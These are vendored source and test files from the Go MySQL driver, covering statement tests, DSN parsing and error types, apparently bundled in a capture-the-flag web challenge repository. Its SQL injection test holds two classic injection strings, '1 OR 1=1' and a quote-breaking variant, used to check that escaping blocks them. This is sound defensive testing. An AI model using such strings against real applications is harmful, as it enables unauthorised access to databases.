dbt.Fatalf("error on rows.Scan(): %s", err.Error()) } if out != true { dbt.Errorf("true != %t", out) } } }) } // It is valid to have multiple Rows for the same Stmt // http://code.google.com/p/go/issues/detail?id=3734 func TestStmtMultiRows(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { stmt, err := dbt.db.Prepare("SELECT 1 UNION SELECT 0") if err != nil { dbt.Fatal(err) } rows1, err := stmt.Query() if err != nil { stmt.Close() dbt.Fatal(err) } defer rows1.Close() rows2, err := stmt.Query() if err != nil { stmt.Close() dbt.Fatal(err) } defer rows2.Close() var out bool // 1 if !rows1.Next() { dbt.Fatal("first rows1.Next failed") } else { err = rows1.Err() if err != nil { dbt.Fatal(err) } err = rows1.Scan(&out) if err != nil { dbt.Fatalf("error on rows.Scan(): %s", err.Error()) } if out != true { dbt.Errorf("true != %t", out) } } if !rows2.Next() { dbt.Fatal("first rows2.Next failed") } else { err = rows2.Err() if err != nil { dbt.Fatal(err) } err = rows2.Scan(&out) if err != nil { dbt.Fatalf("error on rows.Scan(): %s", err.Error()) } if out != true { dbt.Errorf("true != %t", out) } } // 2 if !rows1.Next() { dbt.Fatal("second rows1.Next failed") } else { err = rows1.Err() if err != nil { dbt.Fatal(err) } err = rows1.Scan(&out) if err != nil { dbt.Fatalf("error on rows.Scan(): %s", err.Error()) } if out != false { dbt.Errorf("false != %t", out) } if rows1.Next() { dbt.Fatal("unexpected row on rows1") } err = rows1.Close() if err != nil { dbt.Fatal(err) } } if !rows2.Next() { dbt.Fatal("second rows2.Next failed") } else { err = rows2.Err() if err != nil { dbt.Fatal(err) } err = rows2.Scan(&out) if err != nil { dbt.Fatalf("error on rows.Scan(): %s", err.Error()) } if out != false { dbt.Errorf("false != %t", out) } if rows2.Next() { dbt.Fatal("unexpected row on rows2") } err = rows2.Close() if err != nil { dbt.Fatal(err) } } }) } // Regression test for // * more than 32 NULL parameters (issue 209) // * more parameters than fit into the buffer (issue 201) func TestPreparedManyCols(t *testing.T) { const numParams = defaultBufSize runTests(t, dsn, func(dbt *DBTest) { query := "SELECT ?" + strings.Repeat(",?", numParams-1) stmt, err := dbt.db.Prepare(query) if err != nil { dbt.Fatal(err) } defer stmt.Close() // create more parameters than fit into the buffer // which will take nil-values params := make([]interface{}, numParams) rows, err := stmt.Query(params...) if err != nil { stmt.Close() dbt.Fatal(err) } defer rows.Close() }) } func TestConcurrent(t *testing.T) { if enabled, _ := readBool(os.Getenv("MYSQL_TEST_CONCURRENT")); !enabled { t.Skip("MYSQL_TEST_CONCURRENT env var not set") } runTests(t, dsn, func(dbt *DBTest) { var max int err := dbt.db.QueryRow("SELECT @@max_connections").Scan(&max) if err != nil { dbt.Fatalf("%s", err.Error()) } dbt.Logf("testing up to %d concurrent connections \r\n", max) var remaining, succeeded int32 = int32(max), 0 var wg sync.WaitGroup wg.Add(max) var fatalError string var once sync.Once fatalf := func(s string, vals ...interface{}) { once.Do(func() { fatalError = fmt.Sprintf(s, vals...) }) } for i := 0; i < max; i++ { go func(id int) { defer wg.Done() tx, err := dbt.db.Begin() atomic.AddInt32(&remaining, -1) if err != nil { if err.Error() != "Error 1040: Too many connections" { fatalf("error on conn %d: %s", id, err.Error()) } return } // keep the connection busy until all connections are open for remaining > 0 { if _, err = tx.Exec("DO 1"); err != nil { fatalf("error on conn %d: %s", id, err.Error()) return } } if err = tx.Commit(); err != nil { fatalf("error on conn %d: %s", id, err.Error()) return } // everything went fine with this connection atomic.AddInt32(&succeeded, 1) }(i) } // wait until all conections are open wg.Wait() if fatalError != "" { dbt.Fatal(fatalError) } dbt.Logf("reached %d concurrent connections\r\n", succeeded) }) } // Tests custom dial functions func TestCustomDial(t *testing.T) { if !available { t.Skipf("MySQL server not running on %s", netAddr) } // our custom dial function which justs wraps net.Dial here RegisterDial("mydial", func(addr string) (net.Conn, error) { return net.Dial(prot, addr) }) db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@mydial(%s)/%s?timeout=30s&strict=true", user, pass, addr, dbname)) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } defer db.Close() if _, err = db.Exec("DO 1"); err != nil { t.Fatalf("connection failed: %s", err.Error()) } } func TestSQLInjection(t *testing.T) { createTest := func(arg string) func(dbt *DBTest) { return func(dbt *DBTest) { dbt.mustExec("CREATE TABLE test (v INTEGER)") dbt.mustExec("INSERT INTO test VALUES (?)", 1) var v int // NULL can't be equal to anything, the idea here is to inject query so it returns row // This test verifies that escapeQuotes and escapeBackslash are working properly err := dbt.db.QueryRow("SELECT v FROM test WHERE NULL = ?", arg).Scan(&v) if err == sql.ErrNoRows { return // success, sql injection failed } else if err == nil { dbt.Errorf("sql injection successful with arg: %s", arg) } else { dbt.Errorf("error running query with arg: %s; err: %s", arg, err.Error()) } } } dsns := []string{ dsn, dsn + "&sql_mode='NO_BACKSLASH_ESCAPES,NO_AUTO_CREATE_USER'", } for _, testdsn := range dsns { runTests(t, testdsn, createTest("1 OR 1=1")) runTests(t, testdsn, createTest("' OR '1'='1")) } } // Test if inserted data is correctly retrieved after being escaped func TestInsertRetrieveEscapedData(t *testing.T) { testData := func(dbt *DBTest) { dbt.mustExec("CREATE TABLE test (v VARCHAR(255))") // All sequences that are escaped by escapeQuotes and escapeBackslash v := "foo \x00\n\r\x1a\"'\\" dbt.mustExec("INSERT INTO test VALUES (?)", v) var out string err := dbt.db.QueryRow("SELECT v FROM test").Scan(&out) if err != nil { dbt.Fatalf("%s", err.Error()) } if out != v { dbt.Errorf("%q != %q", out, v) } } dsns := []string{ dsn, dsn + "&sql_mode='NO_BACKSLASH_ESCAPES,NO_AUTO_CREATE_USER'", } for _, testdsn := range dsns { runTests(t, testdsn, testData) } } func TestUnixSocketAuthFail(t *testing.T) { runTests(t, dsn, func(dbt *DBTest) { // Save the current logger so we can restore it. oldLogger := errLog // Set a new logger so we can capture its output. buffer := bytes.NewBuffer(make([]byte, 0, 64)) newLogger := log.New(buffer, "prefix: ", 0) SetLogger(newLogger) // Restore the logger. defer SetLogger(oldLogger) // Make a new DSN that uses the MySQL socket file and a bad password, which // we can make by simply appending any character to the real password. badPass := pass + "x" socket := "" if prot == "unix" { socket = addr } else { // Get socket file from MySQL. err := dbt.db.QueryRow("SELECT @@socket").Scan(&socket) if err != nil { t.Fatalf("error on SELECT @@socket: %s", err.Error()) } } t.Logf("socket: %s", socket) badDSN := fmt.Sprintf("%s:%s@unix(%s)/%s?timeout=30s&strict=true", user, badPass, socket, dbname) db, err := sql.Open("mysql", badDSN) if err != nil { t.Fatalf("error connecting: %s", err.Error()) } defer db.Close() // Connect to MySQL for real. This will cause an auth failure. err = db.Ping() if err == nil { t.Error("expected Ping() to return an error") } // The driver should not log anything. if actual := buffer.String(); actual != "" { t.Errorf("expected no output, got %q", actual) } }) } // See Issue #422 func TestInterruptBySignal(t *testing.T) { runTestsWithMultiStatement(t, dsn, func(dbt *DBTest) { dbt.mustExec(` DROP PROCEDURE IF EXISTS test_signal; CREATE PROCEDURE test_signal(ret INT) BEGIN SELECT ret; SIGNAL SQLSTATE '45001' SET MESSAGE_TEXT = "an error", MYSQL_ERRNO = 45001; END `) defer dbt.mustExec("DROP PROCEDURE test_signal") var val int // text protocol rows, err := dbt.db.Query("CALL test_signal(42)") if err != nil { dbt.Fatalf("error on text query: %s", err.Error()) } for rows.Next() { if err := rows.Scan(&val); err != nil { dbt.Error(err) } else if val != 42 { dbt.Errorf("expected val to be 42") } } // binary protocol rows, err = dbt.db.Query("CALL test_signal(?)", 42) if err != nil { dbt.Fatalf("error on binary query: %s", err.Error()) } for rows.Next() { if err := rows.Scan(&val); err != nil { dbt.Error(err) } else if val != 42 { dbt.Errorf("expected val to be 42") } } }) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/dsn.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "bytes" "crypto/tls" "errors" "fmt" "net" "net/url" "strconv" "strings" "time" ) var ( errInvalidDSNUnescaped = errors.New("invalid DSN: did you forget to escape a param value?") errInvalidDSNAddr = errors.New("invalid DSN: network address not terminated (missing closing brace)") errInvalidDSNNoSlash = errors.New("invalid DSN: missing the slash separating the database name") errInvalidDSNUnsafeCollation = errors.New("invalid DSN: interpolateParams can not be used with unsafe collations") ) // Config is a configuration parsed from a DSN string type Config struct { User string // Username Passwd string // Password (requires User) Net string // Network type Addr string // Network address (requires Net) DBName string // Database name Params map[string]string // Connection parameters Collation string // Connection collation Loc *time.Location // Location for time.Time values MaxAllowedPacket int // Max packet size allowed TLSConfig string // TLS configuration name tls *tls.Config // TLS configuration Timeout time.Duration // Dial timeout ReadTimeout time.Duration // I/O read timeout WriteTimeout time.Duration // I/O write timeout AllowAllFiles bool // Allow all files to be used with LOAD DATA LOCAL INFILE AllowCleartextPasswords bool // Allows the cleartext client side plugin AllowNativePasswords bool // Allows the native password authentication method AllowOldPasswords bool // Allows the old insecure password method ClientFoundRows bool // Return number of matching rows instead of rows changed ColumnsWithAlias bool // Prepend table alias to column names InterpolateParams bool // Interpolate placeholders into query string MultiStatements bool // Allow multiple statements in one query ParseTime bool // Parse time values to time.Time Strict bool // Return warnings as errors } // FormatDSN formats the given Config into a DSN string which can be passed to // the driver. func (cfg *Config) FormatDSN() string { var buf bytes.Buffer // [username[:password]@] if len(cfg.User) > 0 { buf.WriteString(cfg.User) if len(cfg.Passwd) > 0 { buf.WriteByte(':') buf.WriteString(cfg.Passwd) } buf.WriteByte('@') } // [protocol[(address)]] if len(cfg.Net) > 0 { buf.WriteString(cfg.Net) if len(cfg.Addr) > 0 { buf.WriteByte('(') buf.WriteString(cfg.Addr) buf.WriteByte(')') } } // /dbname buf.WriteByte('/') buf.WriteString(cfg.DBName) // [?param1=value1&...¶mN=valueN] hasParam := false if cfg.AllowAllFiles { hasParam = true buf.WriteString("?allowAllFiles=true") } if cfg.AllowCleartextPasswords { if hasParam { buf.WriteString("&allowCleartextPasswords=true") } else { hasParam = true buf.WriteString("?allowCleartextPasswords=true") } } if cfg.AllowNativePasswords { if hasParam { buf.WriteString("&allowNativePasswords=true") } else { hasParam = true buf.WriteString("?allowNativePasswords=true") } } if cfg.AllowOldPasswords { if hasParam { buf.WriteString("&allowOldPasswords=true") } else { hasParam = true buf.WriteString("?allowOldPasswords=true") } } if cfg.ClientFoundRows { if hasParam { buf.WriteString("&clientFoundRows=true") } else { hasParam = true buf.WriteString("?clientFoundRows=true") } } if col := cfg.Collation; col != defaultCollation && len(col) > 0 { if hasParam { buf.WriteString("&collation=") } else { hasParam = true buf.WriteString("?collation=") } buf.WriteString(col) } if cfg.ColumnsWithAlias { if hasParam { buf.WriteString("&columnsWithAlias=true") } else { hasParam = true buf.WriteString("?columnsWithAlias=true") } } if cfg.InterpolateParams { if hasParam { buf.WriteString("&interpolateParams=true") } else { hasParam = true buf.WriteString("?interpolateParams=true") } } if cfg.Loc != time.UTC && cfg.Loc != nil { if hasParam { buf.WriteString("&loc=") } else { hasParam = true buf.WriteString("?loc=") } buf.WriteString(url.QueryEscape(cfg.Loc.String())) } if cfg.MultiStatements { if hasParam { buf.WriteString("&multiStatements=true") } else { hasParam = true buf.WriteString("?multiStatements=true") } } if cfg.ParseTime { if hasParam { buf.WriteString("&parseTime=true") } else { hasParam = true buf.WriteString("?parseTime=true") } } if cfg.ReadTimeout > 0 { if hasParam { buf.WriteString("&readTimeout=") } else { hasParam = true buf.WriteString("?readTimeout=") } buf.WriteString(cfg.ReadTimeout.String()) } if cfg.Strict { if hasParam { buf.WriteString("&strict=true") } else { hasParam = true buf.WriteString("?strict=true") } } if cfg.Timeout > 0 { if hasParam { buf.WriteString("&timeout=") } else { hasParam = true buf.WriteString("?timeout=") } buf.WriteString(cfg.Timeout.String()) } if len(cfg.TLSConfig) > 0 { if hasParam { buf.WriteString("&tls=") } else { hasParam = true buf.WriteString("?tls=") } buf.WriteString(url.QueryEscape(cfg.TLSConfig)) } if cfg.WriteTimeout > 0 { if hasParam { buf.WriteString("&writeTimeout=") } else { hasParam = true buf.WriteString("?writeTimeout=") } buf.WriteString(cfg.WriteTimeout.String()) } if cfg.MaxAllowedPacket > 0 { if hasParam { buf.WriteString("&maxAllowedPacket=") } else { hasParam = true buf.WriteString("?maxAllowedPacket=") } buf.WriteString(strconv.Itoa(cfg.MaxAllowedPacket)) } // other params if cfg.Params != nil { for param, value := range cfg.Params { if hasParam { buf.WriteByte('&') } else { hasParam = true buf.WriteByte('?') } buf.WriteString(param) buf.WriteByte('=') buf.WriteString(url.QueryEscape(value)) } } return buf.String() } // ParseDSN parses the DSN string to a Config func ParseDSN(dsn string) (cfg *Config, err error) { // New config with some default values cfg = &Config{ Loc: time.UTC, Collation: defaultCollation, } // [user[:password]@][net[(addr)]]/dbname[?param1=value1¶mN=valueN] // Find the last '/' (since the password or the net addr might contain a '/') foundSlash := false for i := len(dsn) - 1; i >= 0; i-- { if dsn[i] == '/' { foundSlash = true var j, k int // left part is empty if i <= 0 if i > 0 { // [username[:password]@][protocol[(address)]] // Find the last '@' in dsn[:i] for j = i; j >= 0; j-- { if dsn[j] == '@' { // username[:password] // Find the first ':' in dsn[:j] for k = 0; k < j; k++ { if dsn[k] == ':' { cfg.Passwd = dsn[k+1 : j] break } } cfg.User = dsn[:k] break } } // [protocol[(address)]] // Find the first '(' in dsn[j+1:i] for k = j + 1; k < i; k++ { if dsn[k] == '(' { // dsn[i-1] must be == ')' if an address is specified if dsn[i-1] != ')' { if strings.ContainsRune(dsn[k+1:i], ')') { return nil, errInvalidDSNUnescaped } return nil, errInvalidDSNAddr } cfg.Addr = dsn[k+1 : i-1] break } } cfg.Net = dsn[j+1 : k] } // dbname[?param1=value1&...¶mN=valueN] // Find the first '?' in dsn[i+1:] for j = i + 1; j < len(dsn); j++ { if dsn[j] == '?' { if err = parseDSNParams(cfg, dsn[j+1:]); err != nil { return } break } } cfg.DBName = dsn[i+1 : j] break } } if !foundSlash && len(dsn) > 0 { return nil, errInvalidDSNNoSlash } if cfg.InterpolateParams && unsafeCollations[cfg.Collation] { return nil, errInvalidDSNUnsafeCollation } // Set default network if empty if cfg.Net == "" { cfg.Net = "tcp" } // Set default address if empty if cfg.Addr == "" { switch cfg.Net { case "tcp": cfg.Addr = "127.0.0.1:3306" case "unix": cfg.Addr = "/tmp/mysql.sock" default: return nil, errors.New("default addr for network '" + cfg.Net + "' unknown") } } return } // parseDSNParams parses the DSN "query string" // Values must be url.QueryEscape'ed func parseDSNParams(cfg *Config, params string) (err error) { for _, v := range strings.Split(params, "&") { param := strings.SplitN(v, "=", 2) if len(param) != 2 { continue } // cfg params switch value := param[1]; param[0] { // Disable INFILE whitelist / enable all files case "allowAllFiles": var isBool bool cfg.AllowAllFiles, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Use cleartext authentication mode (MySQL 5.5.10+) case "allowCleartextPasswords": var isBool bool cfg.AllowCleartextPasswords, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Use native password authentication case "allowNativePasswords": var isBool bool cfg.AllowNativePasswords, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Use old authentication mode (pre MySQL 4.1) case "allowOldPasswords": var isBool bool cfg.AllowOldPasswords, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Switch "rowsAffected" mode case "clientFoundRows": var isBool bool cfg.ClientFoundRows, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Collation case "collation": cfg.Collation = value break case "columnsWithAlias": var isBool bool cfg.ColumnsWithAlias, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Compression case "compress": return errors.New("compression not implemented yet") // Enable client side placeholder substitution case "interpolateParams": var isBool bool cfg.InterpolateParams, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Time Location case "loc": if value, err = url.QueryUnescape(value); err != nil { return } cfg.Loc, err = time.LoadLocation(value) if err != nil { return } // multiple statements in one query case "multiStatements": var isBool bool cfg.MultiStatements, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // time.Time parsing case "parseTime": var isBool bool cfg.ParseTime, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // I/O read Timeout case "readTimeout": cfg.ReadTimeout, err = time.ParseDuration(value) if err != nil { return } // Strict mode case "strict": var isBool bool cfg.Strict, isBool = readBool(value) if !isBool { return errors.New("invalid bool value: " + value) } // Dial Timeout case "timeout": cfg.Timeout, err = time.ParseDuration(value) if err != nil { return } // TLS-Encryption case "tls": boolValue, isBool := readBool(value) if isBool { if boolValue { cfg.TLSConfig = "true" cfg.tls = &tls.Config{} } else { cfg.TLSConfig = "false" } } else if vl := strings.ToLower(value); vl == "skip-verify" { cfg.TLSConfig = vl cfg.tls = &tls.Config{InsecureSkipVerify: true} } else { name, err := url.QueryUnescape(value) if err != nil { return fmt.Errorf("invalid value for TLS config name: %v", err) } if tlsConfig, ok := tlsConfigRegister[name]; ok { if len(tlsConfig.ServerName) == 0 && !tlsConfig.InsecureSkipVerify { host, _, err := net.SplitHostPort(cfg.Addr) if err == nil { tlsConfig.ServerName = host } } cfg.TLSConfig = name cfg.tls = tlsConfig } else { return errors.New("invalid value / unknown config name: " + name) } } // I/O write Timeout case "writeTimeout": cfg.WriteTimeout, err = time.ParseDuration(value) if err != nil { return } case "maxAllowedPacket": cfg.MaxAllowedPacket, err = strconv.Atoi(value) if err != nil { return } default: // lazy init if cfg.Params == nil { cfg.Params = make(map[string]string) } if cfg.Params[param[0]], err = url.QueryUnescape(value); err != nil { return } } } return } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/dsn_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "crypto/tls" "fmt" "net/url" "reflect" "testing" "time" ) var testDSNs = []struct { in string out *Config }{{ "username:password@protocol(address)/dbname?param=value", &Config{User: "username", Passwd: "password", Net: "protocol", Addr: "address", DBName: "dbname", Params: map[string]string{"param": "value"}, Collation: "utf8_general_ci", Loc: time.UTC}, }, { "username:password@protocol(address)/dbname?param=value&columnsWithAlias=true", &Config{User: "username", Passwd: "password", Net: "protocol", Addr: "address", DBName: "dbname", Params: map[string]string{"param": "value"}, Collation: "utf8_general_ci", Loc: time.UTC, ColumnsWithAlias: true}, }, { "username:password@protocol(address)/dbname?param=value&columnsWithAlias=true&multiStatements=true", &Config{User: "username", Passwd: "password", Net: "protocol", Addr: "address", DBName: "dbname", Params: map[string]string{"param": "value"}, Collation: "utf8_general_ci", Loc: time.UTC, ColumnsWithAlias: true, MultiStatements: true}, }, { "user@unix(/path/to/socket)/dbname?charset=utf8", &Config{User: "user", Net: "unix", Addr: "/path/to/socket", DBName: "dbname", Params: map[string]string{"charset": "utf8"}, Collation: "utf8_general_ci", Loc: time.UTC}, }, { "user:password@tcp(localhost:5555)/dbname?charset=utf8&tls=true", &Config{User: "user", Passwd: "password", Net: "tcp", Addr: "localhost:5555", DBName: "dbname", Params: map[string]string{"charset": "utf8"}, Collation: "utf8_general_ci", Loc: time.UTC, TLSConfig: "true"}, }, { "user:password@tcp(localhost:5555)/dbname?charset=utf8mb4,utf8&tls=skip-verify", &Config{User: "user", Passwd: "password", Net: "tcp", Addr: "localhost:5555", DBName: "dbname", Params: map[string]string{"charset": "utf8mb4,utf8"}, Collation: "utf8_general_ci", Loc: time.UTC, TLSConfig: "skip-verify"}, }, { "user:password@/dbname?loc=UTC&timeout=30s&readTimeout=1s&writeTimeout=1s&allowAllFiles=1&clientFoundRows=true&allowOldPasswords=TRUE&collation=utf8mb4_unicode_ci&maxAllowedPacket=16777216", &Config{User: "user", Passwd: "password", Net: "tcp", Addr: "127.0.0.1:3306", DBName: "dbname", Collation: "utf8mb4_unicode_ci", Loc: time.UTC, Timeout: 30 * time.Second, ReadTimeout: time.Second, WriteTimeout: time.Second, AllowAllFiles: true, AllowOldPasswords: true, ClientFoundRows: true, MaxAllowedPacket: 16777216}, }, { "user:p@ss(word)@tcp([de:ad:be:ef::ca:fe]:80)/dbname?loc=Local", &Config{User: "user", Passwd: "p@ss(word)", Net: "tcp", Addr: "[de:ad:be:ef::ca:fe]:80", DBName: "dbname", Collation: "utf8_general_ci", Loc: time.Local}, }, { "/dbname", &Config{Net: "tcp", Addr: "127.0.0.1:3306", DBName: "dbname", Collation: "utf8_general_ci", Loc: time.UTC}, }, { "@/", &Config{Net: "tcp", Addr: "127.0.0.1:3306", Collation: "utf8_general_ci", Loc: time.UTC}, }, { "/", &Config{Net: "tcp", Addr: "127.0.0.1:3306", Collation: "utf8_general_ci", Loc: time.UTC}, }, { "", &Config{Net: "tcp", Addr: "127.0.0.1:3306", Collation: "utf8_general_ci", Loc: time.UTC}, }, { "user:p@/ssword@/", &Config{User: "user", Passwd: "p@/ssword", Net: "tcp", Addr: "127.0.0.1:3306", Collation: "utf8_general_ci", Loc: time.UTC}, }, { "unix/?arg=%2Fsome%2Fpath.ext", &Config{Net: "unix", Addr: "/tmp/mysql.sock", Params: map[string]string{"arg": "/some/path.ext"}, Collation: "utf8_general_ci", Loc: time.UTC}, }} func TestDSNParser(t *testing.T) { for i, tst := range testDSNs { cfg, err := ParseDSN(tst.in) if err != nil { t.Error(err.Error()) } // pointer not static cfg.tls = nil if !reflect.DeepEqual(cfg, tst.out) { t.Errorf("%d. ParseDSN(%q) mismatch:\ngot %+v\nwant %+v", i, tst.in, cfg, tst.out) } } } func TestDSNParserInvalid(t *testing.T) { var invalidDSNs = []string{ "@net(addr/", // no closing brace "@tcp(/", // no closing brace "tcp(/", // no closing brace "(/", // no closing brace "net(addr)//", // unescaped "User:pass@tcp(1.2.3.4:3306)", // no trailing slash //"/dbname?arg=/some/unescaped/path", } for i, tst := range invalidDSNs { if _, err := ParseDSN(tst); err == nil { t.Errorf("invalid DSN #%d. (%s) didn't error!", i, tst) } } } func TestDSNReformat(t *testing.T) { for i, tst := range testDSNs { dsn1 := tst.in cfg1, err := ParseDSN(dsn1) if err != nil { t.Error(err.Error()) continue } cfg1.tls = nil // pointer not static res1 := fmt.Sprintf("%+v", cfg1) dsn2 := cfg1.FormatDSN() cfg2, err := ParseDSN(dsn2) if err != nil { t.Error(err.Error()) continue } cfg2.tls = nil // pointer not static res2 := fmt.Sprintf("%+v", cfg2) if res1 != res2 { t.Errorf("%d. %q does not match %q", i, res2, res1) } } } func TestDSNWithCustomTLS(t *testing.T) { baseDSN := "User:password@tcp(localhost:5555)/dbname?tls=" tlsCfg := tls.Config{} RegisterTLSConfig("utils_test", &tlsCfg) // Custom TLS is missing tst := baseDSN + "invalid_tls" cfg, err := ParseDSN(tst) if err == nil { t.Errorf("invalid custom TLS in DSN (%s) but did not error. Got config: %#v", tst, cfg) } tst = baseDSN + "utils_test" // Custom TLS with a server name name := "foohost" tlsCfg.ServerName = name cfg, err = ParseDSN(tst) if err != nil { t.Error(err.Error()) } else if cfg.tls.ServerName != name { t.Errorf("did not get the correct TLS ServerName (%s) parsing DSN (%s).", name, tst) } // Custom TLS without a server name name = "localhost" tlsCfg.ServerName = "" cfg, err = ParseDSN(tst) if err != nil { t.Error(err.Error()) } else if cfg.tls.ServerName != name { t.Errorf("did not get the correct ServerName (%s) parsing DSN (%s).", name, tst) } DeregisterTLSConfig("utils_test") } func TestDSNWithCustomTLSQueryEscape(t *testing.T) { const configKey = "&%!:" dsn := "User:password@tcp(localhost:5555)/dbname?tls=" + url.QueryEscape(configKey) name := "foohost" tlsCfg := tls.Config{ServerName: name} RegisterTLSConfig(configKey, &tlsCfg) cfg, err := ParseDSN(dsn) if err != nil { t.Error(err.Error()) } else if cfg.tls.ServerName != name { t.Errorf("did not get the correct TLS ServerName (%s) parsing DSN (%s).", name, dsn) } } func TestDSNUnsafeCollation(t *testing.T) { _, err := ParseDSN("/dbname?collation=gbk_chinese_ci&interpolateParams=true") if err != errInvalidDSNUnsafeCollation { t.Errorf("expected %v, got %v", errInvalidDSNUnsafeCollation, err) } _, err = ParseDSN("/dbname?collation=gbk_chinese_ci&interpolateParams=false") if err != nil { t.Errorf("expected %v, got %v", nil, err) } _, err = ParseDSN("/dbname?collation=gbk_chinese_ci") if err != nil { t.Errorf("expected %v, got %v", nil, err) } _, err = ParseDSN("/dbname?collation=ascii_bin&interpolateParams=true") if err != nil { t.Errorf("expected %v, got %v", nil, err) } _, err = ParseDSN("/dbname?collation=latin1_german1_ci&interpolateParams=true") if err != nil { t.Errorf("expected %v, got %v", nil, err) } _, err = ParseDSN("/dbname?collation=utf8_general_ci&interpolateParams=true") if err != nil { t.Errorf("expected %v, got %v", nil, err) } _, err = ParseDSN("/dbname?collation=utf8mb4_general_ci&interpolateParams=true") if err != nil { t.Errorf("expected %v, got %v", nil, err) } } func BenchmarkParseDSN(b *testing.B) { b.ReportAllocs() for i := 0; i < b.N; i++ { for _, tst := range testDSNs { if _, err := ParseDSN(tst.in); err != nil { b.Error(err.Error()) } } } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/errors.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "database/sql/driver" "errors" "fmt" "io" "log" "os" ) // Various errors the driver might return. Can change between driver versions. var ( ErrInvalidConn = errors.New("invalid connection") ErrMalformPkt = errors.New("malformed packet") ErrNoTLS = errors.New("TLS requested but server does not support TLS") ErrCleartextPassword = errors.New("this user requires clear text authentication. If you still want to use it, please add 'allowCleartextPasswords=1' to your DSN") ErrNativePassword = errors.New("this user requires mysql native password authentication.") ErrOldPassword = errors.New("this user requires old password authentication. If you still want to use it, please add 'allowOldPasswords=1' to your DSN. See also https://github.com/go-sql-driver/mysql/wiki/old_passwords") ErrUnknownPlugin = errors.New("this authentication plugin is not supported") ErrOldProtocol = errors.New("MySQL server does not support required protocol 41+") ErrPktSync = errors.New("commands out of sync. You can't run this command now") ErrPktSyncMul = errors.New("commands out of sync. Did you run multiple statements at once?") ErrPktTooLarge = errors.New("packet for query is too large. Try adjusting the 'max_allowed_packet' variable on the server") ErrBusyBuffer = errors.New("busy buffer") ) var errLog = Logger(log.New(os.Stderr, "[mysql] ", log.Ldate|log.Ltime|log.Lshortfile)) // Logger is used to log critical error messages. type Logger interface { Print(v ...interface{}) } // SetLogger is used to set the logger for critical errors. // The initial logger is os.Stderr. func SetLogger(logger Logger) error { if logger == nil { return errors.New("logger is nil") } errLog = logger return nil } // MySQLError is an error type which represents a single MySQL error type MySQLError struct { Number uint16 Message string } func (me *MySQLError) Error() string { return fmt.Sprintf("Error %d: %s", me.Number, me.Message) } // MySQLWarnings is an error type which represents a group of one or more MySQL // warnings type MySQLWarnings []MySQLWarning func (mws MySQLWarnings) Error() string { var msg string for i, warning := range mws { if i > 0 { msg += "\r\n" } msg += fmt.Sprintf( "%s %s: %s", warning.Level, warning.Code, warning.Message, ) } return msg } // MySQLWarning is an error type which represents a single MySQL warning. // Warnings are returned in groups only. See MySQLWarnings type MySQLWarning struct { Level string Code string Message string } func (mc *mysqlConn) getWarnings() (err error) { rows, err := mc.Query("SHOW WARNINGS", nil) if err != nil { return } var warnings = MySQLWarnings{} var values = make([]driver.Value, 3) for { err = rows.Next(values) switch err { case nil: warning := MySQLWarning{} if raw, ok := values[0].([]byte); ok { warning.Level = string(raw) } else { warning.Level = fmt.Sprintf("%s", values[0]) } if raw, ok := values[1].([]byte); ok { warning.Code = string(raw) } else { warning.Code = fmt.Sprintf("%s", values[1]) } if raw, ok := values[2].([]byte); ok { warning.Message = string(raw) } else { warning.Message = fmt.Sprintf("%s", values[0]) } warnings = append(warnings, warning) case io.EOF: return warnings default: rows.Close() return } } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/errors_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "bytes" "log" "testing" ) func TestErrorsSetLogger(t *testing.T) { previous := errLog defer func() { errLog = previous }() // set up logger const expected = "prefix: test\n" buffer := bytes.NewBuffer(make([]byte, 0, 64)) logger := log.New(buffer, "prefix: ", 0) // print SetLogger(logger) errLog.Print("test") // check result if actual := buffer.String(); actual != expected { t.Errorf("expected %q, got %q", expected, actual) } } func TestErrorsStrictIgnoreNotes(t *testing.T) { runTests(t, dsn+"&sql_notes=false", func(dbt *DBTest) { dbt.mustExec("DROP TABLE IF EXISTS does_not_exist") }) } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/infile.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "fmt" "io" "os" "strings" 